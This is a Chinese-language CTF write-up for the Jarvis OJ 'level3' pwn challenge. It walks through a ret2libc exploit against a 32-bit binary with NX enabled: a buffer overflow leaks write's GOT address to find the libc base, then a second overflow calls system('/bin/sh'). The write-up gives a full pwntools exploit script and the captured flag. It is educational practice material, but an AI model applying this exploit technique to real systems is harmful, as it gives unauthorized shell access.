level3

level3
32位文件,开启nx 保护
“”

进ida看
“”

“”

溢出点不用说了。
接下来找字符串
“”
什么都没有。
那的靠我们自己去找 /bin/sh ,system
但是这个函数中并没有使用到 system 函数。 那只能去寻找第三方共享库中的 /bin/sh 与 System
下查看文件调用的是哪个So库
“”
找到是: /lib/i386-linux-gnu/libc.so.6

好,下面的问题就是如何在这个库中找到并使用 system(/bin/sh)

由于程序使用到了 write read 函数。
我们可以通过 write 函数,去打印出 system 的地址,使用下面语句:

libc = ELF(‘/lib/i386-linux-gnu/libc.so.6’)
system_addr = libc.symbols[‘system’]
binsh_addr = next(libc.search(‘/bin/sh’))

我直接给出payload,下面是 payload_1
1,payload = “A”*0x88 + “BBBB” + p32(write_plt_addr) #返回到 Write在plt表中的位置
2,payload += p32(return_read_addr) # return_read_addr 就是 vulnerable_function 的起始地址
3,payload += p32(1) #write 函数的第一个参数
4,payload += p32(elf.got[‘write’]) #第二个参数
5,payload += p32(4) # 第三个

来一句一句解释下。
第一句 就是填充数据覆盖到 ret 地址,让程序返回到 write函数的plt表中位置,用命令: objdump -d level3 可以找到
“”
第二句 与前面的题目相同,这里是填入的 read 函数地址,在 write函数取完它的3个参数,并打印出第二个参数,就是 write 在got表中的地址,这之后,我们需要程序返回到 read 函数,再次执行一次,因为下面我们要给出第二个payload_2
得到 write 在got表中的地址 的目的是 找到 libc_addr,也就是所使用的第三库的基地址,用这个libc_addr 去加上 system 在第三方库中的偏移地址,就得到 system的真实地址,我才可以使用这个 system 函数
第三到第五 都是传入的 write 函数的3个参数。

来看 payload_2
payload = “A”*0x88 + “BBBB” + p32( system_addr )
payload += p32(4)
payload += p32(binsh_addr)

最终exp:
from pwn import *

elf = ELF(‘./level3’)
libc = ELF(‘/lib/i386-linux-gnu/libc.so.6’)

#libc = ELF(‘libc-2.19.so’) 程序提供的库,打exp的时候,换成他给的库,本地测试用自己的

#p = remote(‘pwn2.jarvisoj.com’,9879)
p = process(‘./level3’)

return_read_addr = 0x0804844B

system_addr_offset = libc.symbols[‘system’]
binsh_addr_offset = next(libc.search(‘/bin/sh’))

write_plt_addr = 0x08048340
write_got_addr = elf.got[‘write’]

payload = “A”*0x88 + “BBBB” + p32(write_plt_addr)
payload += p32(return_read_addr)
payload += p32(1)
payload += p32(write_got_addr)
payload += p32(4)

p.send(payload)
p.recvuntil(‘Input:\n’) #这句必须要,至于为什么想想就明白
write_offset = p.recv(4)
write_got_addr = u32(write_offset)

libc_addr = write_got_addr -libc.symbols[‘write’]

system_addr = libc_addr + system_addr_offset
binsh_addr = libc_addr + binsh_addr_offset

payload = “A”*0x88 + “BBBB” + p32(system_addr)
payload += p32(4)
payload += p32(binsh_addr)
p.recvuntil(‘Input:\n’) #这句可要,也可不要
p.send(payload)

p.interactive()

“”

CTF{d85346df5770f56f69025bc3f5f1d3d0}

下面转自别人博客~~
本题主要考察通过延迟绑定技术泄漏函数的真实地址,延迟绑定技术,通过GDB调试会发现程序开启了NX保护。而且也找不到system函数和bin/sh,
首先需要泄漏write函数的地址用来求出system和bin/sh的实际地址,构造payload=‘A’*140+p32(writeplt) +p32(vuladdr)+ p32(1) + p32(writegot) + p32(4)
返回地址改为溢出发现的函数地址是为了接下来第二个payload的构造,因为函数每次运行的个函数的实际地址是不同的。后面的三个是write函数的三个参数,通过延迟绑定原理将write的实际地址写出来。
第二个payload就是直接修改返回地址为system真实地址再加上bin/sh的地址就可以实现利用